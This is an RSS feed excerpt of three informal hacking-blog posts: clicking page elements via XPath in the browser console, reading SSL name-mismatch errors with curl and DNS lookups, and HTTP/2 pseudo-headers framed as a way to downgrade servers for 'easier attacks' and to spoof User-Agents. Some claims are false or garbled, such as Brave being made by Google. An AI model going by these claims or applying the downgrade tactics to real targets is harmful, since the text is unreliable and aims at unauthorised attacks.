            <content:encoded><![CDATA[<h3>Essential and elite trick via inspect element/console — that you will THANK ME for teaching you ! (level: med)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vp8WxehS0EEhTbJnYv9H0w.png" /><figcaption>Lets examine one great thing about inspect/console — you likely did not know!</figcaption></figure><p>Yes thats a pic of a dope looking motherboard which has nothing to do with the content but you need to start out with something interesting to “grab” your reader eh ?</p><p>Today lets focus on Inspect element. All browsers (Except mobile ones) have it, and some have different features or options then others. In fact they are so widely varying and some of them so useful it may be worth installing a VM to have every worthy browser on in order to test your theorys and code. I recommend . In the following order:</p><p><strong>Browsers best for pentesting/developing: [ I was nice enought to link em ]<br> #1) </strong>Hands Down I have to Say<strong> </strong><a href="https://download.mozilla.org/?product=firefox-devedition-stub&amp;os=win&amp;lang=en-US"><strong>Firefox Dev</strong></a><strong> </strong>is amazing<br> #2) Believe it or not MS Edge (which integrates with VS Code) is incredible<br> #3) Chrome / Brave / Regular Firefox / Chromium<br> #4) Opera <br>Note: Firefox Dev is not remotely close to the power it has next to the regular Firefox (the orange icon) Firefox dev is made for devleopers</p><p>The thing to notice about inspect, and the section you should be in, I am using Brave browser / Inspect / “Element” Tab —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*2IPFl-51BJf8nc8ZBAUT-A.png" /><figcaption>Get used to Inspect and make it your friend / This is seriously powerful</figcaption></figure><p>Notice as you move your mouse around the various parts of markup that it initially brought you to, you see the screen / DOM highlighting, this is very handy to find:<br>a) Annoying ads or cookie banners, if you want to get rid of one hit DELETE<br>b) Doing what we are doing and isolating a button and automate its click</p><p>This is where Chat GPT comes in, unless you really understand jQuery, Javascript, and XSLT/Xpath (assuming you dont), load up <a href="https://chat.openai.com/">https://chat.openai.com</a> (ChatGPT) — But before we do that, we need to copy the “Xpath” [this is a location more or less of where this button is] —</p><p><strong>Reference</strong>: Download XPath Cheat Sheet PDF for Quick References<br><a href="https://drive.google.com/file/d/1opAv6PCccceNutM8zfW0Xfc8p6vyu25J/view?pli=1">https://drive.google.com/file/d/1opAv6PCccceNutM8zfW0Xfc8p6vyu25J/view?pli=1</a> * Dont ever accuse me of copying others material *</p><blockquote>My goal in providing this info is simply to either add to info already out there — reiterate it, due to its importance, or to make it clearer for people to understand. If i miss giving credit where it is due, please call me out on it. — substance</blockquote><p>Xpath Looks like this: /html/body/div[1]/main/div[1]/div[1]/div[5]</p><p>If you are looking at this scratching your head, I would stop right here and go back and read <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a>. [<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction">https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction</a>]</p><p>The above link is the authority on this subject. Very briefly, to break it down. Remember your webpage that you are served is consdered a “tree”</p><figure><img alt="DJ Substance / Elite Progressive Trance / Djsubstance.org" src="https://cdn-images-1.medium.com/max/1024/0*Za11cuAhVhE8kwGV.png" /><figcaption>Example of DOM “tree” — Xpath example: /html/body/div[1]/h1 would select the &lt;h1&gt; under the div</figcaption></figure><p>This example picture is just for reference and has nothing to do with the specific example. Lets wrap it up and get to the good stuff:</p><p>Once you right click on the “element” (element on a webpage means anything from a check box, to a picture of your grandma)</p><pre>Our Xpath is - /html/body/div[1]/main/div[1]/div[1]/div[5]<br>To save time I have isolated it, and this is the button on forbes.com<br>to &#39;get more results&#39;<br><br><br></pre><figure><img alt="DJ Substance / Tranceattic / Elite Progressive Trance Music Downloads" src="https://cdn-images-1.medium.com/max/389/1*FKsoSlVp6QrDLGnqdwcRdg.png" /><figcaption>I recommend if you are serious about A) Web Dev B) Web Hacking — you have INSPECT ELEMENT ALWAYS up</figcaption></figure><p>Please do not cause any Issues with this website it is just an example. Visit:</p><p><a href="https://www.forbes.com/search/?q=sql+error&amp;sh=2bcb1f88279f">Forbes Search</a></p><p>This should bring up my search for “sql error” :) *Its the first thing that came to mind ;) *</p><p>Again to be clear — we browse to forbes.com, search for something with lots of results and we see about 10 per screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oMbj3xDpTnObgDX9SOo5g.png" /><figcaption>Once you Inspect depending on your browser/ It should be similar to</figcaption></figure><figure><img alt="DJ Substance / Tranceattic.com" src="https://cdn-images-1.medium.com/max/1024/1*lvbCjs3ex9FxZEK2l4g27Q.png" /><figcaption>We are looking for more then just that div class saying more article we need the element / button itself</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*PL3qWRD6hYUTLxW0qy8YOg.png" /><figcaption>If you have 2 monitors, I cant suggest enough that you put this entire Inspect window separate</figcaption></figure><p>Remember earlier when we first loaded Inspect, and you moved your mouse around these elements and you could see the webpage light up with the different spots your interacting with?</p><p><strong>CRITICAL OFF TOPIC SECURITY NOTE:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*V0gpzm4AxWpkYrnapGkRAg.png" /><figcaption>WE NOTICE a lonely &lt;iframe&gt; tab here, and expanding it looks like another webpage! whats up?</figcaption></figure><p>This is one of the reasons, I am suggesting to you folks almost every time I post — INSTALL BRAVE BROWSER — this is potentially a dangerous &lt;iframe&gt; — Think about it, it is loading a 2ndary webpage with height 0 and width 0 — meaning you just executed a remote script perhaps that infected you or made your machine join an ad server — Brave blocks all the out of the box.</p><p>Sure you can install FF/Chrome and depend on Adblock, uOrigin but then your trusting (likely) hackers who wrote the plugin . Brave is made by the People at google (i believe) and is the most secure out there.</p><p>Back on topic:</p><p>90% of worthwhile sites are using jQuery now a days but incase this doesnt work, you can “force” jQuery to load on the current page ( remember you are only changing your copy )</p><p>If the Xpath command in a moment doesnt work, then paste this info console:</p><p>On forbes.com search for * — goto the bottom right click the more button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*WMc_uFHjXcse3DTPcGqQuA.png" /><figcaption>Copy the Xpath</figcaption></figure><p>Ask Chat GPT To write your Xpath statement to click more:</p><pre>var xpath = &#39;/html/body/div[1]/main/div[1]/div[1]/div[5]&#39;;<br>var element = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;<br>if (element) element.click();<br><br></pre><p>Pasting that in returns the next page of results — it should happen immediately. FYI if jQuery is needed or you need a library to do a certain task, you can also force load it (sometimes) like this:</p><pre>// for jQuery if xpath isnt workin<br><br>var script = document.createElement(&#39;script&#39;);<br>script.src = &#39;https://code.jquery.com/jquery-3.6.0.min.js&#39;;<br>document.head.appendChild(script);</pre><p>Hope this is insightful, and remember, Love your friends, and especially your family, till next time</p><p>substance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43a8b14d6815" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Very quick info about broken SSL certs you may not know (level: med)]]></title>
            <link>https://djsubstance.medium.com/very-quick-info-about-broken-ssl-certs-you-may-not-know-level-med-2d8cb0785bde?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d8cb0785bde</guid>
            <category><![CDATA[ssl]]></category>
            <category><![CDATA[certificate]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 18:48:42 GMT</pubDate>
            <atom:updated>2023-12-10T18:48:42.819Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zODfQPbsJ1hDiVW8GpkQ2A.png" /><figcaption>9x Spreading Hacking Info in the new millenium — <a href="https://9x.network/">https://9x.network</a></figcaption></figure><p>Isnt that a sick logo ? I dig it ! Anyways let just talk about this screen we have all seen many times:</p><figure><img alt="dj substance / 9x / hacking / 9x.network" src="https://cdn-images-1.medium.com/max/1024/1*rRQXNdW8fNzsCS7WqwKTnw.png" /><figcaption>Most people see this almost everyday and just click advanced / proceed.</figcaption></figure><p>I am guilty of it, we all are. but lets just look at what it means briefly.</p><p>First of all, if we look at the URL bar, we are hitting an IP address. Incase you arent aware of this, its going to be pretty rare that any production server, or company will have you hit an IP address. The reason is — for instance my web hosting provider Hostrocket — has ONE ip for all 100 of my websites (yes i have 100 sites). The way this works, since there is actaully probably 10k sites hosted on the one IP, is through the headers, specifically the host header.</p><p>Quick example of why an IP address is rarely going to be a valid site:<br>the request you see in the picture above looks something like this:</p><p>GET /index.html / HTTP/1.1<br>Host: evilhacker.com<br>&lt;snip rest of the headers&gt;</p><p>So lets say you nslookup — walmart.com —</p><pre>host walmart.com<br>walmart.com has address 184.84.129.227  &lt;- Visiting this IP is unlikely to work<br>walmart.com mail is handled by 10 mxb-000c7201.gslb.pphosted.com.<br>walmart.com mail is handled by 10 mxa-000c7201.gslb.pphosted.com.</pre><pre>For the heck of it, I just did that, here is the curl output:<br>Notice this is the IP of walmart.com NOT www.walmart.com<br><br>curl -vkL &#39;https://184.84.129.227&#39;<br>      ^ Verbose<br>       ^ Ignore bad / weird certs<br>        ^ Follow redirects<br><br>OUTPUT - <br>*   Trying 184.84.129.227:443...<br>* Connected to 184.84.129.227 (184.84.129.227) port 443 (#0)<br>* ALPN: offers h2<br>* ALPN: offers http/1.1<br>* (304) (OUT), TLS handshake, Client hello (1):<br>* (304) (IN), TLS handshake, Server hello (2):<br>* (304) (IN), TLS handshake, Unknown (8):<br>* (304) (IN), TLS handshake, Certificate (11):<br>* (304) (IN), TLS handshake, CERT verify (15):<br>* (304) (IN), TLS handshake, Finished (20):<br>* (304) (OUT), TLS handshake, Finished (20):<br>* SSL connection using TLSv1.3 / AEAD-AES256-GCM-SHA384<br>* ALPN: server accepted http/1.1<br>* Server certificate:<br>*  subject: <br>  C=US; <br>  ST=Arkansas; <br>  L=Bentonville; <br>  O=Walmart Inc.; <br>  CN=www.walmart.com<br><br>*  start date: Mar  2 18:32:20 2023 GMT<br>*  expire date: Apr  2 18:32:19 2024 GMT<br>*  issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign ECC OV SSL CA 2018<br>*  SSL certificate verify ok.<br>&gt; GET / HTTP/1.1<br>&gt; Host: 184.84.129.227<br>&gt; User-Agent: curl/7.84.0<br>&gt; Accept: */*<br>&gt; <br>* Mark bundle as not supporting multiuse<br>* HTTP 1.0, assume close after body<br>&lt; HTTP/1.0 400 Bad Request<br>&lt; Server: AkamaiGHost<br>&lt; Mime-Version: 1.0<br>&lt; Content-Type: text/html<br>&lt; Content-Length: 209<br>&lt; Expires: Sun, 10 Dec 2023 18:34:26 GMT<br>&lt; Date: Sun, 10 Dec 2023 18:34:26 GMT<br>&lt; Connection: close<br>&lt; <br>&lt;HTML&gt;&lt;HEAD&gt;<br>&lt;TITLE&gt;Invalid URL&lt;/TITLE&gt;<br>&lt;/HEAD&gt;&lt;BODY&gt;<br>&lt;H1&gt;Invalid URL&lt;/H1&gt;<br>The requested URL &quot;&amp;#91;no&amp;#32;URL&amp;#93;&quot;, is invalid.&lt;p&gt;<br>Reference&amp;#32;&amp;#35;9&amp;#46;3c34d517&amp;#46;1702233266&amp;#46;546a5c90<br>&lt;/BODY&gt;&lt;/HTML&gt;<br>* Closing connection 0</pre><p>So that didnt work, and the fact it allowed HTTP/1.0 is kind of concerning.</p><p>I got curious just now and checked the same thing with <a href="http://www.walmart.com,/">www.walmart.com,</a> interestingly enuf check this out:</p><pre>DNS lookups repeatedly .. on different DNS servers produced different IPs:<br><br>host www.walmart.com<br>www.walmart.com is an alias for www.walmart.com.edgekey.net.<br>www.walmart.com.edgekey.net is an alias for e4373.x.akamaiedge.net.<br>e4373.x.akamaiedge.net has address 184.84.129.227<br><br>( I ran this command 5 times to see if the IP changed and it did not, so, I <br>tried using a different DNS server the 6th time for the same host)<br><br>host www.walmart.com 1.1.1.1    &lt;- Forcing use of different DNS server<br>www.walmart.com is an alias for www.walmart.com.edgekey.net.<br>www.walmart.com.edgekey.net is an alias for e4373.x.akamaiedge.net.<br>e4373.x.akamaiedge.net has address &lt;- Different IP<br><br>host www.walmart.com 4.2.2.2<br>www.walmart.com is an alias for www.walmart.com.edgekey.net.<br>www.walmart.com.edgekey.net is an alias for e4373.x.akamaiedge.net.<br>e4373.x.akamaiedge.net has address 23.219.48.144<br><br>So we just got 3 different IPs for www.walmart.com<br><br>184.84.129.227<br>104.122.44.48<br>23.219.48.144<br><br>Checking the rDNS<br>144.48.219.23.in-addr.arpa domain name pointer a23-219-48-144.deploy.static.akamaitechnologies.com.<br>48.44.122.104.in-addr.arpa domain name pointer a104-122-44-48.deploy.static.akamaitechnologies.com.<br>144.48.219.23.in-addr.arpa domain name pointer a23-219-48-144.deploy.static.akamaitechnologies.com.</pre><p>This is getting beyond the scope of what I was getting at, so lets tie it together. Hitting <a href="https://184.84.129.227/">https://184.84.129.227</a> (one of <a href="http://www.walmart.com/">www.walmart.com</a> ip)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQwrD9pob3sMuhgt27zZHg.png" /><figcaption>Not suprising at all, because like I said this IP probably hosts lots of pages</figcaption></figure><p>So now, click “NET::ERR_CERT_COMMON_NAME_INVALID”</p><p>Now it expands down with info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4WKGz1s-Jn8R3-Okqpxu1A.png" /><figcaption>Always click the error and find out why</figcaption></figure><p>So now we can see that the certificate is for <a href="http://www.walmart.com/">www.walmart.com</a> in specific (not walmart.com), and we can tell when it expires. The error was thrown because the ip doesnt match the hostname.</p><p>If you check out <a href="https://osint.sh/">https://osint.sh</a> there are a bunch of tools to reverse lookup IPs to hostnames, and also <a href="https://dnsdumpster.com/">https://dnsdumpster.com</a></p><p>I know this wasnt amazing info but hey, it interesting ;p</p><p>substance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d8cb0785bde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical to know if your a pentester — the “new” HTTP/2 request /header format (level: hard/expert)]]></title>
            <link>https://djsubstance.medium.com/critical-to-know-if-your-a-pentester-the-new-http-2-request-header-format-level-hard-expert-07f9c2f14ebb?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/07f9c2f14ebb</guid>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[hack4life]]></category>
            <category><![CDATA[http2]]></category>
            <category><![CDATA[9x]]></category>
            <category><![CDATA[web-hacking]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 11:30:25 GMT</pubDate>
            <atom:updated>2023-12-10T11:30:25.383Z</atom:updated>
            <content:encoded><![CDATA[<h3>Critical to know if your a pentester — the “new” HTTP/2 request /header format (level: hard/expert)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eB6TaS6CzA2klP4lHalVsQ.png" /><figcaption>9x.network — the 9x crew has been spreading hacking info since 1994</figcaption></figure><p>HTTP/2 introduced some fairly substantial differences in caching, the request method’s themselves (+ their syntax) and other things.</p><p>Before we get into the details (from high level, you will understand a great deal more after just reading this summary, and your ethical hacking / bounty knowledge will be +++ ) keep reading:</p><h3>What is HTTP/2?</h3><p>HTTP/2 is a replacement for how HTTP is expressed “on the wire.” It is <strong>not</strong> a ground-up rewrite of the protocol; HTTP methods, status codes and semantics are the same, and it should be possible to use the same APIs as HTTP/1.x (possibly with some small additions) to represent the protocol.</p><p>The HTTP/2 protocol brings about several changes and improvements over HTTP/1.1, particularly in the formatting and transmission of requests and responses. One of these changes is the introduction of pseudo-header fields, which are used to convey the standard parts of an HTTP request or response in a more efficient and structured way.</p><p>Reference: <a href="https://http2.github.io/">https://http2.github.io/</a></p><p>Taking a Look as an example to refamaliarize ourselves with the way that the 2 different requests may look:</p><pre>This is a typical HTTP/2 request not written in the new &quot;shorthand&quot;<br>The most important thing you can be looking at in these requests (if your using m<br>burp, zap, mitmproxy etc) is the version # after the POST or GET first line<br><br>GET /announcements/api/entity/v1/index/announcement-posts_en HTTP/1.0<br>GET /announcements/api/entity/v1/index/announcement-posts_en HTTP/1.1<br>GET /announcements/api/entity/v1/index/announcement-posts_en HTTP/2<br><br>--- I feel this is the absolute first thing you should be making note of, <br>In the list of the 3 GET&#39;s above, you see http1.0 (this is rare now a days,<br>but ive seen it, it should make you immediately aware of &quot;old hardware&quot; likely<br>(or programmers doing it wrong)<br><br>---- The 2nd example shows the most typical HTTP/1.1 - this is really what<br>I feel that is best to exploit, and my point in writing this article is <br>to help you understand how to write the request (for repeater perhaps) to <br>&quot;downgrade&quot; our   http/2 responses to http/1.1 for easier attacks and pivots.<br><br>---- The HTTP/2 is becoming more commonly lately, I dont think its due to <br>anyone getting &quot;with it&quot; or more secure, i think the newer hardware and cloud<br>platforms we build on are handling it.  <br><br>GET /announcements/api/entity/v1/index/announcement-posts_en HTTP/2<br>Host: api2.djsubstance.com<br>Cookie: deviceId=549335d9-dfd1-8e25-c8a3-d55ffbe0bad6;<br><br></pre><blockquote>Before discussing how to “downgrade” the HTTP/2 traffic, and get the server and devices in the chain (rev proxies etc) to start talking 1/1, lets talk briefly about the major changes in HTTP/2.</blockquote><p>This is going to confuse the sh*t out of some of you, you may not believe me.</p><p>RFC’s that you should absolutely read if you are a serious pentester or developer: (Dont take my word, this is just an overview to get you thinking)</p><p><a href="https://datatracker.ietf.org/doc/html/rfc9113">https://datatracker.ietf.org/doc/html/rfc9113</a> — HTTP/2 [current] June 2022<br><a href="https://datatracker.ietf.org/doc/html/rfc7540">https://datatracker.ietf.org/doc/html/rfc7540</a> — HTTP/2 [original] May 2015</p><p>They are both worth looking at, in fact:<br><a href="https://datatracker.ietf.org/doc/html/rfc2616">https://datatracker.ietf.org/doc/html/rfc2616</a> — HTTP/1.1 [original] June 1999</p><figure><img alt="dj substance / tranceattic / free downloads elite trance music" src="https://cdn-images-1.medium.com/max/1024/1*hhm_B0CseXfYRFaQHyirtg.png" /><figcaption>This actually does say HTTP/2 but I think I went a little to crazy with the Graffitti ;)</figcaption></figure><p>There is a *lot* of detail I could go into about binary streams, and other extremely important (yet . beyond the scope of this intro ), that could be discussed, I will post the ultimate page Ive seen with all the things you could ever want to know (in a non RFC robot written form ;) at the end.</p><p>The meat and potato&#39;s of this post:<br>In HTTP/2, “pseudo-header” fields are headers that start with a colon (:) to distinguish them from regular HTTP headers. They represent the standard parts of the HTTP message that were represented in the start-line (like the HTTP method, path, and scheme) in HTTP/1.1. For instance, in an HTTP/2 request, the following pseudo-header fields are common:</p><p>(This is going to seem extremely foriegn initiatally)</p><ul><li>:method: This represents the HTTP method used in the request (e.g., GET, POST, PUT, etc.).</li><li>:scheme: This indicates the protocol scheme (e.g., http or https).</li><li>:authority: This replaces the Host header from HTTP/1.1 and includes the authority portion of the URL, which is typically the domain name and port number.</li><li>:path: This contains the path and query part of the request URL.</li></ul><p>Here is an example to illustrate the difference:</p><pre>HTTP/2 Request - the &quot;old&quot; way:<br>-------------------------------<br>GET /deadpool/json5.json HTTP/2<br>Host: www.target.com<br>Cookie: deviceId=549335d9-dfd1-8e25-c8a3-d55ffbe0bad6; <br>Accept: application/json<br>Content-Type: application/json<br>Platform: pc<br>Sec-Ch-Ua-Mobile: ?0<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36<br>Sec-Ch-Ua-Platform: &quot;macOS&quot;<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Dest: empty<br>Referer: https://www.target.com/en/<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: en-US,en;q=0.9<br>Priority: u=1, i<br><br>One thing to make note of while I think of it, stop sending your full User-Agent<br>in your requests, and if you can ever change it, any remote system just wants<br>#1) to see a UA set<br>#2) to see something like Mozilla in there to think its valid<br><br>Change: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36<br>to: User-Agent: Mozilla/5   (This will 99% of the time trick sites into <br> thinking you have JS enabled if your are curling BTW) <br><br>New format of http/2:<br>:method &lt;GET|POST|OPTIONS|etc&gt;<br>:path /index.php<br>:authority &lt;host&gt;<br>--- Here is an image of the differences:<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8b45cI8EqhhCTAALk9NQQ.png" /><figcaption>This picture does the concept alot more justice but we still need to discuss more</figcaption></figure><p>As you can see in the image above, the top request is HTTP1/1 and doing the same thing with HTTP/2 — that is what it looks like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*GgxBfdevs-e8pcSpwwTa0g.png" /></figure><p>Just so everyone is on the same page and knows this actaully works and I have a clue what im talking about I am demonstrating this in Burp repeater.</p><p>This is a *valid* request, just remember that this is only going to be for the request, the response will look “normal” (at least from what ive seen) but remember the goal in my experience is to downgrade HTTP/2 servers to HTTP/1.1 . This is done by confusing the devices such as LB or rev. proxies in the middle to do so, and it usually works!</p><p>Here is the output of the above req:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*MMOhdyeq87ab9H8o7T4D5w.png" /><figcaption>Response of the http/2 burp repeater POST request i made up</figcaption></figure><p>Now this wasn&#39;t the best example I suppose, because the endpoint was using 1.1 anyways, but you can see that it “took” at least.</p><p>Here are the major differences in the headers, there is probably more in the RFC but this is the core of what you need to know:</p><pre><br>HTTP/2 reqest header changes:<br>:method - The request method<br>:path - The request path. Note that this includes the query string<br>:authority - The Host header, roughly - <br>** :authority: typically the domain name and port number ** important<br><br>:scheme - The request scheme, typically &#39;http&#39; or &#39;https&#39;<br>:status - The response status code - not used in requests<br></pre><p>In Summary — now you know that HTTP/2 isnt just a new looking “same old same old” method of web packet transport. The point of this post, and I hope you got something out of it, was the fact that the requests look totally different, and your goal is to trick your target into downgrading to 1/1 — If you dont know why, this is probably over your head.</p><p>Here are the complete list of updates of 1/1-&gt;2</p><p>Here are the key differences as a whole — I am not getting into the technical details of that, it has been covered and I will link a great doc at the end of the post:</p><p>HTTP/2 protocol introduces several key advancements and variances compared to HTTP/1.1. Notable differences include:</p><ol><li>Binary Framing Layer: Unlike HTTP/1.1, which uses plain text for requests and responses, HTTP/2 encapsulates all communications in a binary format. This maintains HTTP semantics such as verbs, methods, and headers, while using a binary framing layer.</li><li>Multiplexing: HTTP/2 can multiplex multiple streams over a single TCP connection. This capability allows for simultaneous sending of multiple requests and responses, thereby reducing latency.</li><li>Server Push: With HTTP/2, servers have the ability to push resources to clients even before the client requests them, enhancing page loading speeds.</li><li>Header Compression: HTTP/2 employs HPACK compression for headers, reducing overhead and boosting performance.</li><li>Flow Control: HTTP/2’s approach to flow control is distinct from that of HTTP/1.1, which depends on the transport layer to prevent buffer overflow. HTTP/2 achieves flow control at the stream level while multiplexing streams over a single TCP connection.</li></ol><blockquote>The focus of the protocol is on performance; specifically, end-user perceived latency, network and server resource usage. One major goal is to allow the use of a single connection from browsers to a Web site.</blockquote><p>By far #1 seems the most complex to me. To be a expert pentester, learn it all, never stop.</p><p>Here is a link to a massive current book i converted to one huge .html on HTTP and the versions and specifics: <a href="https://9x.network/files/HTTP_2-HighPerformanceBrowserNetworking.html">https://9x.network/files/HTTP_2-HighPerformanceBrowserNetworking.html</a></p><p>Till next time</p><p>DJ Substance<br>:: One Nation :: Underground ::</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07f9c2f14ebb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>